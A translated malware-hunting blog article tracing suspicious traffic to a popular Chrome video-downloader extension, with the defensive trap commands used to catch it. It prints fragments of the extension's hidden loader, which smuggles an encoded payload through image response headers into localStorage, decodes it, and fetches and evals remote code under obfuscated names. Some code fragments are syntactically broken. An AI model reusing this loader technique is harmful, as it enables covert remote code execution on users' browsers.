from 1st March to 31st May


Hunting for a malicious code among add-ons (article)

31st Mar 2021

Author: Edvard Rejthar

Translation: Petra Raszková

Original (CZ) version available at:

How to catch a malicious add-on with “its” trousers down?

I identified the computer´s non-standard behavior, so I looked at add-ons to find out its source, and I came across the innocent-looking source code which lines are responsible for this behaviour. Here is a jotting from a malware hunt. A few days ago, I noticed that a certain site had joined my domain Odd-looking name.  What´s all this about?

Well, I know that malware authors use generator to originate randomly domain names in order to resemble already existing words. I tried to connect to the domain, with no response. Either I would almost say the domain is defuct or just a mistake made by some developer, but it could also be a covered manoeuvre. Regardless the domain was not responding, it was certainly receiving information. I checked the site to see if it had been malware infected, but it didn’t seem to be. And the site didn’t connect to the suspicious domain after that, no matter how hard I tried. Because there are several add-ons installed in the browser profile I was using, these add-ons raised my suspition. Next to phishing, I consider add-ons as the most frequent weakness of user´s computer. The question was how to find out which one of these add-ons could be suspicious. I set a trap.

I redirected access to the suspicious domain in text file in /etc/hosts to myself: Then I put the socats command in the background, listening on port 443.

The moment that anything would make an attempt to contact our suspect, a notification pops-up and the content of the communication was recorded into a file.

sudo socat -v tcp-listen:443,fork,reuseaddr system &>> $FILE &
while inotifywait -e modify $FILE; do
kdialog --title "TRAP!" --passivepopup "CHŇAP" 10;

Kdialog worked better for Ubuntu distribution than included notify-send utility. Nofity-send utility remained silent when the process was running in the background – what was necessary because the trap had to wait for several days.Something was finally trapped within a suspicious browser profile launching. Malware did not call home regularly, nor each time I turned on computer. Immediately the word ‘TRAP!’ had appeared on the screen, I checked curiously the intercepted communications. To my disappointment, it was just a malware-attempt to negotiate an HTTPS handshake with another side, thus no interesting data was transmitted at all. At any rate, I was sure that the malware resided in one of the add-ons. I copied the entire profile from the path /home/$USER/.config/google-chrome/Profile 2/ and forced the browser to quit. I then put the profile back in place, restarted Chrome, and when the word ‘TRAP!’ reappeared, I had whip hand - a rather reliable way to replicate the observed phenomenon. Knowing the profile had about a gigabyte, but I had no idea which files were essential for replacement. That is why I used incremental replacement with rsync.

Within the process, the entire file tree was restored to its original state, but only the changed files were replaced. So instead of moving a gigabyte here and there, it was a matter of moving a few megabytes.

Now, by method of trial and error, I could turn off and on individual add-ons and discover which one was causing the suspicious behavior.

However, it was quicker to launch the browser with an expanded listing in the console to see who was connecting to which addresses. I pointed at Video Downloader for FaceBook™ extension, used by more than 200 000 users.

rsync -ah "/tmp/Profile 2/" "/home/$USER/.config/google-
chrome/Profile 2/" -r
google-chrome --enable-logging=stderr --v=1

An antivirus scan revealed nothing, nor even a random the source code examination.

I wanted to insert a few spy console.error calls into its code that would disclose any attempt to connect to a suspicious site. However, editing the extension is not easy-doable. As soon as you change even a single dot, the browser identifies that the checksum doesn’t match, that the extension has been tampered with, and shuts it down. But, it´s possible to copy its source code and add it as your own new extension in developer mode. To my surprise, when it turned out that none of the present calls of function new Request come before access to suspicious page. My attention was captured by an inconspicuous function, strrevsstr.

function insertDecodeFunc() {
String.prototype.strrevsstr = function() {
var c = this;
if (this\['length'\] % 4 != 0) {
c += ('===').(slice(0, 4 - (this\['length'\] % 4))
c = atob(c\['replace'\](/\\-/g, '+')\['replace'\](/\_/g, '/'));
var f = parseInt(c\[0\] + c\[1\], 16);
var f2 = parseInt(c\[2\], 16);
// ...
console.error("decoded", this, a.join('')); // náš malý špion
return a.join('');

The function is particularly suspicious because it was not clear at first glance what is doing. It extends text strings with a certain type of decoding. It could be a valid behaviour for an add-on for video downloading. Nevertheless I added a console.error call to the end of the function to see if there is a correlation with accessing the suspicious page and what outcome within return value is there.

Hit the bull´s-eye! The function input (and the value of this) is the encoded string FuIG9Ve30tKl0YW0xfcnxCGCJpbEp5fD5iDVAHBF82T21OB1Qm….

The output is then highly suspicious JSON.


First of all - where did the input come from? It comes from the localStorage registry. It is the general data store that browsers make available to sites and add-ons. Thanks to it, not all the data need a refresh via network communication in order to fully restore the application state. How did payload get into localStorage?

The add-on sometimes randomly downloads an “innocent-looking” GIF image meanwhile it pretends sending statistical data. That one seems to be apparently fine. However, the add-on listens for connections to and it saves all headers (longer than ten characters) to localStorage - unchanged.

chrome.webRequest.onCompleted.addListener(function(details) {
details.responseHeaders.forEach(function(header) {
if (header\['value'\] (&& header\['value'\].length > 10) {
localStorage\[header\['name'\].toLowerCase()\] = header\['value'\];
}, {urls: \["\*"\], types: \["image"\]}, \["responseHeaders"\]);

The payload itself is inserted into the headers by only when few conditions are met – client has to identify by its ID and browser extension installation time. Then elsewhere, localStorage[‘cache-control’] is read, and because cache-control doesn´t appear in the text, the analyst might be confused. The above mentioned strrevsstr is subsequently called for the payload. After that, the entire output is mapped to the window function itself.

var str = localStorage\['cache-control'\];
control = str.strrevsstr();
control = typeof JSON != 'undefined' && JSON.parse && JSON.parse(control);
if (control && control.cache_c) {
for (var key in control) {
window\[key\] = control\[key\];
checked = true;

What did the attacker accomplish?

The dangerous eval function, which would distract the attention of anyone who even glanced into the code, is dexterously hidden in the variable. Likewise the words jQuery and get are hidden. It means commands far apart in the code could be consider as a result of code minimalization. The truth is, window.jQuery.get(URL) is used to infect the device (with God know what) - and undistrubed launched by  window.eval.

window\[jj\]\[gg\](uu, function(res) {
localStorage\['cache_data'\] = res;

If you look into, at the time of writing of Czech version of this article, you can still find a 30 kB long malware sample.

It uses a number of cover-up techniques where individual commands are tokenized into hundreds of local variables that only contain a few letters of the command each time.However, it is pretty easy to see that it contacts our suspicious address via And what does it do exactly? That’s not clear at first glance, nor particularly important. It can do anything that the domain owner slips. It could be waiting for a unpatched browser vulnerability in order to gain access to your system.

Therefore, be careful who do you trust and what do you install on your computer and phone. We hope that after our report, the Chrome web store will soon start detecting the malicious code. But as you can see, two hundred thousand users and an official platform could be without guarantee that an app is secure. The more sensational and mass-market the app, the more serious impact it can bring. A malware can be stuck also as a tax on a functional program or game. The thing is, because add-ons make our life easier, I can imagine that the user would rather wash his hands than give up comfort. I recommend that you turn off unused add-ons and turn them on only ad hoc, in case of need.